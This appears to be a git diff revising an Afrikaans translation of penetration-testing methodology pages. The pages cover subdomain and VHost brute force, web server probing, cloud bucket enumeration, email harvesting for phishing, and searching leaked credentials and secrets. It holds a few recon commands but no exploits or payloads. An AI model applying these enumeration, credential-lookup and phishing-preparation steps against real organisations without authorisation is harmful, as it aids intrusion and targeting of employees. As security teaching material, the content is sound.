@ -426,7 +426,7 @@ echo www | subzuf facebook.com
|
||||||
```
|
```
|
||||||
### **Subdomein Ontdekking Werkvloei**
|
### **Subdomein Ontdekking Werkvloei**
|
||||||
|
|
||||||
Kyk na hierdie blogpos wat ek geskryf het oor hoe om **subdomein ontdekking** van 'n domein te **automateer** met behulp van **Trickest werkvloei** sodat ek nie 'n klomp gereedskap handmatig op my rekenaar hoef te begin nie:
|
Kyk na hierdie blogpos wat ek geskryf het oor hoe om **subdomein ontdekking te outomatiseer** vanaf 'n domein met behulp van **Trickest werkvloei** sodat ek nie 'n klomp gereedskap handmatig op my rekenaar hoef te begin nie:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
|
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
|
||||||
|
|
||||||
|
@ -434,7 +434,7 @@ Kyk na hierdie blogpos wat ek geskryf het oor hoe om **subdomein ontdekking** va
|
||||||
|
|
||||||
### **VHosts / Virtuele Gashere**
|
### **VHosts / Virtuele Gashere**
|
||||||
|
|
||||||
As jy 'n IP-adres gevind het wat **een of verskeie webbladsye** bevat wat aan subdomeine behoort, kan jy probeer om **ander subdomeine met webbladsye in daardie IP** te **vind** deur in **OSINT bronne** te kyk vir domeine in 'n IP of deur **brute-force VHost domeinnaam in daardie IP**.
|
As jy 'n IP-adres gevind het wat **een of verskeie webbladsye** bevat wat aan subdomeine behoort, kan jy probeer om **ander subdomeine met webbladsye in daardie IP te vind** deur in **OSINT bronne** te kyk vir domeine in 'n IP of deur **VHost domeinnaam in daardie IP te brute-force**.
|
||||||
|
|
||||||
#### OSINT
|
#### OSINT
|
||||||
|
|
||||||
|
@ -442,7 +442,7 @@ Jy kan 'n paar **VHosts in IPs vind met behulp van** [**HostHunter**](https://gi
|
||||||
|
|
||||||
**Brute Force**
|
**Brute Force**
|
||||||
|
|
||||||
As jy vermoed dat 'n subdomein in 'n webbediener versteek kan wees, kan jy probeer om dit te brute force:
|
As jy vermoed dat 'n subdomein in 'n webbediener versteek kan wees, kan jy probeer om dit te brute-force:
|
||||||
```bash
|
```bash
|
||||||
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
||||||
|
|
||||||
|
@ -457,7 +457,7 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
|
||||||
VHostScan -t example.com
|
VHostScan -t example.com
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Met hierdie tegniek mag jy selfs toegang hê tot interne/verborgene eindpunte.
|
Met hierdie tegniek kan jy selfs toegang verkry tot interne/verborgene eindpunte.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### **CORS Brute Force**
|
### **CORS Brute Force**
|
||||||
|
@ -473,26 +473,26 @@ Ook, aangesien jy op hierdie punt al die domeine binne die omvang sal weet, prob
|
||||||
|
|
||||||
### **Monitorisering**
|
### **Monitorisering**
|
||||||
|
|
||||||
Jy kan **moniteer** of **nuwe subdomeine** van 'n domein geskep word deur die **Sertifikaat Deursigtigheid** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) te monitor.
|
Jy kan **moniteer** of **nuwe subdomeine** van 'n domein geskep word deur die **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) te monitor.
|
||||||
|
|
||||||
### **Soek na kwesbaarhede**
|
### **Soek na kwesbaarhede**
|
||||||
|
|
||||||
Kontroleer vir moontlike [**subdomein oorneem**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
Kontroleer vir moontlike [**subdomein oorneem**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||||
As die **subdomein** na 'n **S3 emmer** **wys**, [**kontroleer die toestemmings**](../../network-services-pentesting/pentesting-web/buckets/).
|
As die **subdomein** na 'n **S3 emmer** **wys**, [**kontroleer die toestemmings**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||||
|
|
||||||
As jy enige **subdomein met 'n IP verskil** van diegene wat jy reeds in die bates ontdek het, vind, moet jy 'n **basiese kwesbaarheid skandering** (met Nessus of OpenVAS) en 'n paar [**poort skandering**](../pentesting-network/#discovering-hosts-from-the-outside) met **nmap/masscan/shodan** uitvoer. Afhangende van watter dienste aan die gang is, kan jy in **hierdie boek 'n paar truuks vind om hulle "aan te val"**.\
|
As jy enige **subdomein met 'n IP verskil** van diegene wat jy reeds in die bates ontdekking gevind het, moet jy 'n **basiese kwesbaarheid skandering** (met Nessus of OpenVAS) en 'n [**poort skandering**](../pentesting-network/#discovering-hosts-from-the-outside) met **nmap/masscan/shodan** uitvoer. Afhangende van watter dienste aan die gang is, kan jy in **hierdie boek 'n paar truuks vind om hulle "aan te val"**.\
|
||||||
_Nota dat soms die subdomein gehos is binne 'n IP wat nie deur die kliënt beheer word nie, so dit is nie in die omvang nie, wees versigtig._
|
_Nota dat soms die subdomein gehos is binne 'n IP wat nie deur die kliënt beheer word nie, so dit is nie in die omvang nie, wees versigtig._
|
||||||
|
|
||||||
## IPs
|
## IPs
|
||||||
|
|
||||||
In die aanvanklike stappe het jy dalk **sommige IP-reekse, domeine en subdomeine** **gevind**.\
|
In die aanvanklike stappe mag jy **sommige IP-reekse, domeine en subdomeine** **gevind het**.\
|
||||||
Dit is tyd om **al die IPs van daardie reekse te versamel** en vir die **domeine/subdomeine (DNS vrae).**
|
Dit is tyd om **al die IPs van daardie reekse te versamel** en vir die **domeine/subdomeine (DNS vrae).**
|
||||||
|
|
||||||
Deur dienste van die volgende **gratis apis** te gebruik, kan jy ook **vorige IPs wat deur domeine en subdomeine gebruik is, vind**. Hierdie IPs mag steeds deur die kliënt besit word (en mag jou toelaat om [**CloudFlare omseilings**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) te vind)
|
Deur dienste van die volgende **gratis apis** te gebruik, kan jy ook **vorige IPs wat deur domeine en subdomeine gebruik is** vind. Hierdie IPs mag steeds deur die kliënt besit word (en mag jou toelaat om [**CloudFlare omseilings**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) te vind)
|
||||||
|
|
||||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||||
|
|
||||||
Jy kan ook kyk vir domeine wat na 'n spesifieke IP-adres wys met die hulpmiddel [**hakip2host**](https://github.com/hakluke/hakip2host)
|
Jy kan ook domeine wat na 'n spesifieke IP-adres wys, kontroleer met die hulpmiddel [**hakip2host**](https://github.com/hakluke/hakip2host)
|
||||||
|
|
||||||
### **Soek na kwesbaarhede**
|
### **Soek na kwesbaarhede**
|
||||||
|
|
||||||
|
@ -506,25 +506,25 @@ Jy kan ook kyk vir domeine wat na 'n spesifieke IP-adres wys met die hulpmiddel
|
||||||
|
|
||||||
In die vorige stappe het jy waarskynlik al 'n paar **recon van die IPs en domeine ontdek** uitgevoer, so jy mag **al die moontlike web bedieners** **gevind het**. As jy egter nie, gaan ons nou 'n paar **vinnige truuks kyk om web bedieners** binne die omvang te soek.
|
In die vorige stappe het jy waarskynlik al 'n paar **recon van die IPs en domeine ontdek** uitgevoer, so jy mag **al die moontlike web bedieners** **gevind het**. As jy egter nie, gaan ons nou 'n paar **vinnige truuks kyk om web bedieners** binne die omvang te soek.
|
||||||
|
|
||||||
Let asseblief daarop dat dit **georiënteer sal wees op web apps ontdekking**, so jy moet ook **die kwesbaarheid** en **poort skandering** uitvoer (**indien toegelaat** deur die omvang).
|
Neem asseblief kennis dat dit **georiënteer sal wees op web apps ontdekking**, so jy moet ook **die kwesbaarheid** en **poort skandering** uitvoer (**indien toegelaat** deur die omvang).
|
||||||
|
|
||||||
'n **Vinnige metode** om **oop poorte** wat verband hou met **web** bedieners te ontdek, kan [**masscan** hier gevind word](../pentesting-network/#http-port-discovery).\
|
'n **Vinnige metode** om **oop poorte** wat verband hou met **web** bedieners te ontdek, kan met [**masscan** hier gevind word](../pentesting-network/#http-port-discovery).\
|
||||||
Nog 'n vriendelike hulpmiddel om na web bedieners te soek is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) en [**httpx**](https://github.com/projectdiscovery/httpx). Jy gee net 'n lys van domeine en dit sal probeer om met poort 80 (http) en 443 (https) te verbind. Daarbenewens kan jy aandui om ander poorte te probeer:
|
Nog 'n vriendelike hulpmiddel om na web bedieners te soek, is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) en [**httpx**](https://github.com/projectdiscovery/httpx). Jy moet net 'n lys van domeine deurgee en dit sal probeer om met poort 80 (http) en 443 (https) te verbind. Daarbenewens kan jy aandui om ander poorte te probeer:
|
||||||
```bash
|
```bash
|
||||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||||
```
|
```
|
||||||
### **Skermskootte**
|
### **Skermskootte**
|
||||||
|
|
||||||
Nou dat jy **alle webbedieners** in die omvang ontdek het (tussen die **IP's** van die maatskappy en al die **domeine** en **subdomeine**) weet jy waarskynlik **nie waar om te begin nie**. Laat ons dit eenvoudig maak en net skermskootte van al hulle neem. Net deur **na die hoofblad** te **kyk** kan jy **vreemde** eindpunte vind wat meer **geneig** is om **kwulnerabel** te wees.
|
Nou dat jy **alle webbedieners** in die omvang ontdek het (tussen die **IP's** van die maatskappy en al die **domeine** en **subdomeine**) weet jy waarskynlik **nie waar om te begin nie**. Laat ons dit eenvoudig maak en net skermskootte van al hulle neem. Net deur **na die hoofblad** te **kyk**, kan jy **vreemde** eindpunte vind wat meer **geneig** is om **kwulnerabel** te wees.
|
||||||
|
|
||||||
Om die voorgestelde idee uit te voer, kan jy [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) of [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
Om die voorgestelde idee uit te voer, kan jy [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) of [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||||
|
|
||||||
Boonop kan jy dan [**eyeballer**](https://github.com/BishopFox/eyeballer) gebruik om oor al die **skermskootte** te loop om jou te vertel **wat waarskynlik kwesbaarhede bevat**, en wat nie.
|
Boonop kan jy dan [**eyeballer**](https://github.com/BishopFox/eyeballer) gebruik om oor al die **skermskootte** te loop om jou te vertel **wat waarskynlik kwulnerabiliteite bevat**, en wat nie.
|
||||||
|
|
||||||
## Publieke Wolk Bate
|
## Publieke Wolk Bate
|
||||||
|
|
||||||
Om potensiële wolk bate wat aan 'n maatskappy behoort te vind, moet jy **begin met 'n lys van sleutelwoorde wat daardie maatskappy identifiseer**. Byvoorbeeld, vir 'n kripto maatskappy kan jy woorde soos: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">` gebruik.
|
Om potensiële wolk bates wat aan 'n maatskappy behoort te vind, moet jy **begin met 'n lys van sleutelwoorde wat daardie maatskappy identifiseer**. Byvoorbeeld, vir 'n crypto maatskappy kan jy woorde soos: `"crypto", "wallet", "dao", "<domein_naam>", <"subdomein_namme">` gebruik.
|
||||||
|
|
||||||
Jy sal ook woordlyste van **gewone woorde wat in emmers gebruik word** benodig:
|
Jy sal ook woordlyste van **gewone woorde wat in emmers gebruik word** benodig:
|
||||||
|
|
||||||
|
@ -536,46 +536,46 @@ Dan, met daardie woorde moet jy **permutasies** genereer (kyk na die [**Tweede R
|
||||||
|
|
||||||
Met die resulterende woordlyste kan jy gereedskap soos [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **of** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
Met die resulterende woordlyste kan jy gereedskap soos [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **of** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||||
|
|
||||||
Onthou dat wanneer jy na Wolk Bate soek, jy moet **kyk na meer as net emmers in AWS**.
|
Onthou dat wanneer jy na Wolk Bates soek, jy moet **kyk na meer as net emmers in AWS**.
|
||||||
|
|
||||||
### **Soek na kwesbaarhede**
|
### **Soek na kwulnerabiliteite**
|
||||||
|
|
||||||
As jy dinge soos **oop emmers of blootgestelde wolk funksies** vind, moet jy **hulle toegang** en probeer om te sien wat hulle jou bied en of jy hulle kan misbruik.
|
As jy dinge soos **oop emmers of blootgestelde wolk funksies** vind, moet jy **hulle toegang** en probeer om te sien wat hulle jou bied en of jy hulle kan misbruik.
|
||||||
|
|
||||||
## E-posse
|
## E-posse
|
||||||
|
|
||||||
Met die **domeine** en **subdomeine** binne die omvang het jy basies alles wat jy **nodig het om na e-posse te soek**. Dit is die **API's** en **gereedskap** wat die beste vir my gewerk het om e-posse van 'n maatskappy te vind:
|
Met die **domeine** en **subdomeine** binne die omvang het jy basies alles wat jy **nodig het om te begin soek na e-posse**. Dit is die **API's** en **gereedskap** wat die beste vir my gewerk het om e-posse van 'n maatskappy te vind:
|
||||||
|
|
||||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - met API's
|
* [**theHarvester**](https://github.com/laramies/theHarvester) - met API's
|
||||||
* API van [**https://hunter.io/**](https://hunter.io/) (gratis weergawe)
|
* API van [**https://hunter.io/**](https://hunter.io/) (gratis weergawe)
|
||||||
* API van [**https://app.snov.io/**](https://app.snov.io/) (gratis weergawe)
|
* API van [**https://app.snov.io/**](https://app.snov.io/) (gratis weergawe)
|
||||||
* API van [**https://minelead.io/**](https://minelead.io/) (gratis weergawe)
|
* API van [**https://minelead.io/**](https://minelead.io/) (gratis weergawe)
|
||||||
|
|
||||||
### **Soek na kwesbaarhede**
|
### **Soek na kwulnerabiliteite**
|
||||||
|
|
||||||
E-posse sal later handig wees om **brute-force web aanmeldings en outentikasiedienste** (soos SSH) te doen. Ook, hulle is nodig vir **phishings**. Boonop sal hierdie API's jou selfs meer **inligting oor die persoon** agter die e-pos gee, wat nuttig is vir die phishing veldtog.
|
E-posse sal later handig wees om **brute-force web aanmeldings en outentikasiedienste** (soos SSH) te doen. Ook, hulle is nodig vir **phishings**. Boonop sal hierdie API's jou selfs meer **inligting oor die persoon** agter die e-pos gee, wat nuttig is vir die phishing veldtog.
|
||||||
|
|
||||||
## Kredensiaal Lekke
|
## Kredensiaal Leke
|
||||||
|
|
||||||
Met die **domeine,** **subdomeine**, en **e-posse** kan jy begin soek na kredensiale wat in die verlede gelek het wat aan daardie e-posse behoort:
|
Met die **domeine,** **subdomeine**, en **e-posse** kan jy begin soek na kredensiale wat in die verlede gelek het wat aan daardie e-posse behoort:
|
||||||
|
|
||||||
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||||
* [https://www.dehashed.com/](https://www.dehashed.com/)
|
* [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||||
|
|
||||||
### **Soek na kwesbaarhede**
|
### **Soek na kwulnerabiliteite**
|
||||||
|
|
||||||
As jy **geldige gelekte** kredensiale vind, is dit 'n baie maklike oorwinning.
|
As jy **geldige gelekte** kredensiale vind, is dit 'n baie maklike oorwinning.
|
||||||
|
|
||||||
## Geheime Lekke
|
## Geheime Leke
|
||||||
|
|
||||||
Kredensiaal lekke is verwant aan hacks van maatskappye waar **sensitiewe inligting gelek en verkoop is**. egter, maatskappye mag geraak word deur **ander lekke** waarvan die inligting nie in daardie databasisse is nie:
|
Kredensiaal leke is verwant aan hacks van maatskappye waar **sensitiewe inligting gelek en verkoop is**. egter, maatskappye mag geraak word deur **ander leke** waarvan die inligting nie in daardie databasisse is nie:
|
||||||
|
|
||||||
### Github Lekke
|
### Github Leke
|
||||||
|
|
||||||
Kredensiale en API's mag in die **openbare repositories** van die **maatskappy** of van die **gebruikers** wat vir daardie github maatskappy werk, gelek word.\
|
Kredensiale en API's mag in die **openbare repositories** van die **maatskappy** of van die **gebruikers** wat vir daardie github maatskappy werk, gelek word.\
|
||||||
Jy kan die **gereedskap** [**Leakos**](https://github.com/carlospolop/Leakos) gebruik om **alle openbare repos** van 'n **organisasie** en sy **ontwikkelaars** af te laai en [**gitleaks**](https://github.com/zricethezav/gitleaks) daaroor outomaties te laat loop.
|
Jy kan die **gereedskap** [**Leakos**](https://github.com/carlospolop/Leakos) gebruik om **alle openbare repos** van 'n **organisasie** en sy **ontwikkelaars** af te laai en [**gitleaks**](https://github.com/zricethezav/gitleaks) daaroor outomaties te laat loop.
|
||||||
|
|
||||||
**Leakos** kan ook gebruik word om **gitleaks** teen alle **teks** te laat loop wat **URL's aan dit gegee** is, aangesien **webbladsye ook geheime kan bevat**.
|
**Leakos** kan ook gebruik word om **gitleaks** teen alle **tekst** verskafde **URL's** wat aan dit gegee word te laat loop, aangesien **webbladsye ook geheime kan bevat**.
|
||||||
|
|
||||||
#### Github Dorks
|
#### Github Dorks
|
||||||
|
|
||||||
|
@ -585,7 +585,7 @@ Kyk ook na hierdie **bladsy** vir potensiële **github dorks** wat jy ook in die
|
||||||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Paste Lekke
|
### Paste Leke
|
||||||
|
|
||||||
Soms sal aanvallers of net werkers **maatskappy-inhoud op 'n paste site publiseer**. Dit mag of mag nie **sensitiewe inligting** bevat nie, maar dit is baie interessant om daarna te soek.\
|
Soms sal aanvallers of net werkers **maatskappy-inhoud op 'n paste site publiseer**. Dit mag of mag nie **sensitiewe inligting** bevat nie, maar dit is baie interessant om daarna te soek.\
|
||||||
Jy kan die gereedskap [**Pastos**](https://github.com/carlospolop/Pastos) gebruik om in meer as 80 paste sites terselfdertyd te soek.
|
Jy kan die gereedskap [**Pastos**](https://github.com/carlospolop/Pastos) gebruik om in meer as 80 paste sites terselfdertyd te soek.
|
||||||
|
@ -594,15 +594,15 @@ Jy kan die gereedskap [**Pastos**](https://github.com/carlospolop/Pastos) gebrui
|
||||||
|
|
||||||
Ou maar goud google dorks is altyd nuttig om **blootgestelde inligting wat daar nie behoort te wees nie** te vind. Die enigste probleem is dat die [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) verskeie **duisende** moontlike navrae bevat wat jy nie handmatig kan uitvoer nie. So, jy kan jou gunsteling 10 kies of jy kan 'n **gereedskap soos** [**Gorks**](https://github.com/carlospolop/Gorks) **gebruik om hulle almal uit te voer**.
|
Ou maar goud google dorks is altyd nuttig om **blootgestelde inligting wat daar nie behoort te wees nie** te vind. Die enigste probleem is dat die [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) verskeie **duisende** moontlike navrae bevat wat jy nie handmatig kan uitvoer nie. So, jy kan jou gunsteling 10 kies of jy kan 'n **gereedskap soos** [**Gorks**](https://github.com/carlospolop/Gorks) **gebruik om hulle almal uit te voer**.
|
||||||
|
|
||||||
_Nota dat die gereedskap wat verwag om die hele databasis met die gewone Google-blaaier te laat loop, nooit sal eindig nie, aangesien google jou baie gou sal blokkeer._
|
_Noteer dat die gereedskap wat verwag om die hele databasis met die gewone Google-blaaier te laat loop, nooit sal eindig nie, aangesien google jou baie gou sal blokkeer._
|
||||||
|
|
||||||
### **Soek na kwesbaarhede**
|
### **Soek na kwulnerabiliteite**
|
||||||
|
|
||||||
As jy **geldige gelekte** kredensiale of API tokens vind, is dit 'n baie maklike oorwinning.
|
As jy **geldige gelekte** kredensiale of API tokens vind, is dit 'n baie maklike oorwinning.
|
||||||
|
|
||||||
## Publieke Kode Kwesbaarhede
|
## Publieke Kode Kwulnerabiliteite
|
||||||
|
|
||||||
As jy gevind het dat die maatskappy **oopbron kode** het, kan jy dit **analiseer** en soek na **kwesbaarhede** daarin.
|
As jy gevind het dat die maatskappy **open-source kode** het, kan jy dit **analiseer** en soek na **kwulnerabiliteite** daarin.
|
||||||
|
|
||||||
**Afhangende van die taal** is daar verskillende **gereedskap** wat jy kan gebruik:
|
**Afhangende van die taal** is daar verskillende **gereedskap** wat jy kan gebruik:
|
||||||
|
|
||||||
|
@ -616,24 +616,24 @@ Daar is ook gratis dienste wat jou toelaat om **openbare repositories** te **ska
|
||||||
|
|
||||||
## [**Pentesting Web Metodologie**](../../network-services-pentesting/pentesting-web/)
|
## [**Pentesting Web Metodologie**](../../network-services-pentesting/pentesting-web/)
|
||||||
|
|
||||||
Die **meerderheid van die kwesbaarhede** wat deur foutjagters gevind word, is binne **webtoepassings**, so op hierdie punt wil ek graag oor 'n **webtoepassing toets metodologie** praat, en jy kan [**hierdie inligting hier vind**](../../network-services-pentesting/pentesting-web/).
|
Die **meerderheid van die kwulnerabiliteite** wat deur foutjagters gevind word, is binne **webtoepassings**, so op hierdie punt wil ek graag oor 'n **webtoepassing toetsing metodologie** praat, en jy kan [**hierdie inligting hier vind**](../../network-services-pentesting/pentesting-web/).
|
||||||
|
|
||||||
Ek wil ook 'n spesiale vermelding maak van die afdeling [**Web Geoutomatiseerde Skandeerders open source gereedskap**](../../network-services-pentesting/pentesting-web/#automatic-scanners), aangesien, as jy nie moet verwag dat hulle baie sensitiewe kwesbaarhede sal vind nie, hulle handig is om dit in **werkvloei te implementeer om 'n paar aanvanklike webinligting te hê.**
|
Ek wil ook 'n spesiale vermelding maak van die afdeling [**Web Geoutomatiseerde Skandeerders open source gereedskap**](../../network-services-pentesting/pentesting-web/#automatic-scanners), aangesien, as jy nie moet verwag dat hulle baie sensitiewe kwulnerabiliteite sal vind nie, hulle handig is om dit in **werkvloei te implementeer om 'n paar aanvanklike webinligting te hê.**
|
||||||
|
|
||||||
## Herhaling
|
## Herhaling
|
||||||
|
|
||||||
> Geluk! Op hierdie punt het jy reeds **alle basiese enumerasie** uitgevoer. Ja, dit is basies omdat baie meer enumerasie gedoen kan word (sal later meer truuks sien).
|
> Geluk! Op hierdie punt het jy reeds **alle basiese enumerasie** uitgevoer. Ja, dit is basies omdat daar baie meer enumerasie gedoen kan word (sal later meer truuks sien).
|
||||||
|
|
||||||
So jy het reeds:
|
So jy het reeds:
|
||||||
|
|
||||||
1. Alle **maatskappye** in die omvang gevind
|
1. Alle **maatskappye** binne die omvang gevind
|
||||||
2. Alle **bates** wat aan die maatskappye behoort gevind (en 'n paar kwesbaarheid skandeer as dit in omvang is)
|
2. Alle **bates** wat aan die maatskappye behoort gevind (en 'n paar vuln skandeer as dit in omvang is)
|
||||||
3. Alle **domeine** wat aan die maatskappye behoort gevind
|
3. Alle **domeine** wat aan die maatskappye behoort gevind
|
||||||
4. Alle **subdomeine** van die domeine gevind (enige subdomein oorneem?)
|
4. Alle **subdomeine** van die domeine gevind (enige subdomein oorneem?)
|
||||||
5. Alle **IP's** (van en **nie van CDN's**) in die omvang gevind.
|
5. Alle **IP's** (van en **nie van CDNs**) binne die omvang gevind.
|
||||||
6. Alle **webbedieners** gevind en 'n **skermskoot** daarvan geneem (iets vreemd wat 'n dieper kyk werd is?)
|
6. Alle **webbedieners** gevind en 'n **skermskoot** daarvan geneem (iets vreemd wat 'n dieper kyk werd is?)
|
||||||
7. Alle **potensiële publieke wolk bates** wat aan die maatskappy behoort gevind.
|
7. Alle **potensiële publieke wolk bates** wat aan die maatskappy behoort gevind.
|
||||||
8. **E-posse**, **kredensiaal lekke**, en **geheime lekke** wat jou 'n **groot oorwinning baie maklik** kan gee.
|
8. **E-posse**, **kredensiaal leke**, en **geheime leke** wat jou 'n **groot oorwinning baie maklik kan gee**.
|
||||||
9. **Pentesting al die webwerwe wat jy gevind het**
|
9. **Pentesting al die webwerwe wat jy gevind het**
|
||||||
|
|
||||||
## **Volledige Recon Outomatiese Gereedskap**
|
## **Volledige Recon Outomatiese Gereedskap**
|
||||||
|
@ -649,7 +649,7 @@ Daar is verskeie gereedskap daar buite wat 'n deel van die voorgestelde aksies t
|
||||||
|
|
||||||
* Alle gratis kursusse van [**@Jhaddix**](https://twitter.com/Jhaddix) soos [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
* Alle gratis kursusse van [**@Jhaddix**](https://twitter.com/Jhaddix) soos [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
|
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||||
|
|
||||||
|
|
|
@ -15,9 +15,9 @@ Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-siz
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
|
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -42,7 +42,7 @@ Let daarop dat as jy 'n eksterne toets uitvoer, sodra jy daarin slaag om toegang
|
||||||
### **2-** [**Geniet die netwerk**](pentesting-network/) **(Intern)**
|
### **2-** [**Geniet die netwerk**](pentesting-network/) **(Intern)**
|
||||||
|
|
||||||
**Hierdie afdeling geld slegs as jy 'n interne toets uitvoer.**\
|
**Hierdie afdeling geld slegs as jy 'n interne toets uitvoer.**\
|
||||||
Voordat jy 'n host aanval, mag jy verkies om **sommige akrediteer te steel** **van die netwerk** of **sniff** sommige **data** om **passief/aktief (MitM)** te leer wat jy binne die netwerk kan vind. Jy kan [**Pentesting Network**](pentesting-network/#sniffing) lees.
|
Voordat jy 'n host aanval, mag jy verkies om **sommige akrediteer te steel** **van die netwerk** of **sniff** sommige **data** om **passief/aktief (MitM)** te leer wat jy binne die netwerk kan vind. Jy kan [**Pentesting Netwerk**](pentesting-network/#sniffing) lees.
|
||||||
|
|
||||||
### 3- [Poort Skandering - Diens ontdekking](pentesting-network/#scanning-hosts)
|
### 3- [Poort Skandering - Diens ontdekking](pentesting-network/#scanning-hosts)
|
||||||
|
|
||||||
|
@ -50,7 +50,7 @@ Die eerste ding om te doen wanneer jy **soek na kwesbaarhede in 'n host** is om
|
||||||
|
|
||||||
### **4-** [Soek diens weergawe exploits](search-exploits.md)
|
### **4-** [Soek diens weergawe exploits](search-exploits.md)
|
||||||
|
|
||||||
Sodra jy weet watter dienste loop, en dalk hul weergawe, moet jy **soek na bekende kwesbaarhede**. Miskien het jy geluk en daar is 'n exploit om jou 'n shell te gee...
|
Sodra jy weet watter dienste loop, en dalk hul weergawe, moet jy **soek na bekende kwesbaarhede**. Miskien het jy geluk en daar is 'n exploit om vir jou 'n shell te gee...
|
||||||
|
|
||||||
### **5-** Pentesting Dienste
|
### **5-** Pentesting Dienste
|
||||||
|
|
||||||
|
@ -61,7 +61,7 @@ As daar nie enige fancy exploit vir enige lopende diens is nie, moet jy soek na
|
||||||
**Ek wil 'n spesiale vermelding maak van die** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **deel (aangesien dit die mees uitgebreide een is).**\
|
**Ek wil 'n spesiale vermelding maak van die** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **deel (aangesien dit die mees uitgebreide een is).**\
|
||||||
Ook, 'n klein gids oor hoe om [**bekende kwesbaarhede in sagteware te vind**](search-exploits.md) kan hier gevind word.
|
Ook, 'n klein gids oor hoe om [**bekende kwesbaarhede in sagteware te vind**](search-exploits.md) kan hier gevind word.
|
||||||
|
|
||||||
